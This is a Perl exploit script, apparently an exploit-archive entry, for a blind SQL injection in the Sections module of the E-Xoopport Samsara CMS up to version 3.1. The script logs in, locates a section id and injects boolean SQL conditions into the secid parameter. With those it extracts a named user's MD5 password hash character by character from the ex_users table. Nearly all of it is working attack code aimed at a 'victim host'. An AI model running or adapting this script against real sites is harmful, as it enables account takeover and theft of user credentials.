E-Xoopport - Samsara <= v3.1 (Sections Module 2) Remote Blind SQL Injection

#!/usr/bin/perl
# [0-Day] E-Xoopport - Samsara <= v3.1 (Sections Module 2) Remote Blind SQL Injection Exploit
# Author/s: _mRkZ_ & Dante90, WaRWolFz Crew
# Created: 2010.09.12 after 0 days the bug was discovered.
# Web Site: www.warwolfz.org
 
use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common;
 
$^O eq 'MSWin32' ? system('cls') : system('clear');
 
print "
E-Xoopport - Samsara <= v3.1 (Sections Module) Remote Blind SQL Injection Exploit
+---------------------------------------------------+
| Script: E-Xoopport                                |
| Affected versions: 3.1                            |
| Bug: Remote Blind SQL Injection (Sections Module) |
| Author/s: _mRkZ_ & Dante90, WaRWolFz Crew         |
| Web Site: www.warwolfz.org                        |
+---------------------------------------------------+
";
 
if (@ARGV != 4) {
    print "\r\nUsage: perl expolit_name.pl <VictimeHost> <YourNick> <YourPass> <NickToHack>\r\n";
    exit;
}
 
$host    = $ARGV[0];
$usr     = $ARGV[1];
$pwd     = $ARGV[2];
$anickde = $ARGV[3];
$anick   = '0x'.EncHex($anickde);
 
print "[+] Logging In...\r\n";
my %postdata = (
    uname => "$usr",
    pass => "$pwd"
);
$ua = LWP::UserAgent->new;
$ua->agent("Mozilla 5.0");
my $req     = (POST $host, \%postdata);
my $cookies = HTTP::Cookies->new();
$request    = $ua->request($req);
$ua->cookie_jar($cookies);
$content    = $request->content;
if ($content =~ /<head><meta http-equiv="Refresh" content="0; URL=modules\/news\/" \/><\/head>/i) {
    print "[+] Logged in\r\n";
} else {
    print "[-] Fatal Error: username/password incorrect?\r\n";
    exit;
}
 
print "[!] Retriving section id...\r\n";
$idi = 0;
while ($idi != 11) {
    $idi++;
    $ua = LWP::UserAgent->new;
    $ua->agent("Mozilla 5.0");
    my $req     = $host."/modules/sections/index.php?op=listarticles&secid=$idi";
    $request    = $ua->get($req);
    $ua->cookie_jar($cookies);
    $content    = $request->content;
    if ($content =~ /<center>Ecco i documenti della sezione <b>(.+)<\/b>/ig) {
        $secid = $idi;
        last;
    }
}
 
if(!defined $secid) {
    print "[-] Fatal Error: Section id not found!\r\n";
    exit;
} else {
    print "[+] Section id '$secid' retrieved\r\n";
}
 
print "[!] Checking path...\r\n";
$ua = LWP::UserAgent->new;
$ua->agent("Mozilla 5.0");
my $req     = $host."/modules/sections/index.php?op=listarticles&secid=$secid";
$request    = $ua->get($req);
$ua->cookie_jar($cookies);
$content    = $request->content;
if ($content =~ /Ecco i documenti della sezione/i) {
    print "[+] Correct Path\r\n";
} else {
    print "[-] Fatal Error: Wrong Path\r\n";
    exit;
}
 
print "[!] Checking if vulnerability has been fixed...\r\n";
$ua = LWP::UserAgent->new;
$ua->agent("Mozilla 5.0");
my $req     = $host."/modules/sections/index.php?op=listarticles&secid=$secid+AND+1=1";
$request    = $ua->get($req);
$ua->cookie_jar($cookies);
$content    = $request->content;
if ($content =~ /<center>Ecco i documenti della sezione <b>(.+)<\/b>/ig) {
    print "[+] Vulnerability has not been fixed...\r\n";
} else {
    print "[-] Fatal Error: Vulnerability has been fixed\r\n";
    open LOGG, ">log.html";
    print LOGG $content;
    close LOGG;
    exit;
}
 
print "[!] Checking nick to hack...\r\n";
$ua = LWP::UserAgent->new;
$ua->agent("Mozilla 5.0");
my $req     = $host."/modules/sections/index.php?op=listarticles&secid=$secid+AND+ascii(substring((SELECT+pass+FROM+ex_users+WHERE+uname=$anick+LIMIT+0,1),32,1))>0";
$request    = $ua->get($req);
$ua->cookie_jar($cookies);
$content    = $request->content;
if ($content =~ /<center>Ecco i documenti della sezione <b>(.+)<\/b>/ig) {
    print "[+] Nick exists...\r\n";
} else {
    print "[-] Fatal Error: Nick does not exists\r\n";
    exit;
}
 
print "[!] Exploiting...\r\n";
my $i = 1;
while ($i != 33) {
    my $wn  = 47;
    while (1) {
        $wn++;
        $ua = LWP::UserAgent->new;
        $ua->agent("Mozilla 5.0");
        my $req     = $host."/modules/sections/index.php?op=listarticles&secid=$secid+AND+ascii(substring((SELECT+pass+FROM+ex_users+WHERE+uname=$anick+LIMIT+0,1),$i,1))=$wn";
        $request    = $ua->get($req);
        $ua->cookie_jar($cookies);
        $content    = $request->content;
        if ($content =~ /<center>Ecco i documenti della sezione <b>(.+)<\/b>/ig) {
            $pwdchr .= chr($wn);
            $^O eq 'MSWin32' ? system('cls') : system('clear');
            PrintChars($anickde, $pwdchr, $secid);
            last;
        }
    }
    $i++;
}
 
print "\r\n[+] Exploiting completed!\r\n\r\n";
print "Visit: www.warwolfz.net\r\n\r\n";
 
sub PrintChars {
$anick1 = $_[0];
$chars = $_[1];
$secid = $_[2];
print "
E-Xoopport - Samsara <= v3.1 (Sections Module) Remote Blind SQL Injection Exploit
+---------------------------------------------------+
| Script: E-Xoopport                                |
| Affected versions: 3.1                            |
| Bug: Remote Blind SQL Injection (Sections Module) |
| Author/s: _mRkZ_ & Dante90, WaRWolFz Crew         |
| Web Site: www.warwolfz.org                        |
+---------------------------------------------------+
[+] Logging In...
[+] Logged in
[!] Retriving section id...
[+] Section id '$secid' retrived
[!] Checking path...
[+] Correct Path
[!] Checking if vulnerability has been fixed...
[+] Vulnerability has not been fixed...
[!] Checking nick to hack...
[+] Nick exists...
[!] Exploiting...
[+] ".$anick1."'s md5 Password: $chars
";
}
 
sub EncHex {
    $char = $_[0];
    chomp $char;
    @trans = unpack("H*", "$char");
    return $trans[0];
}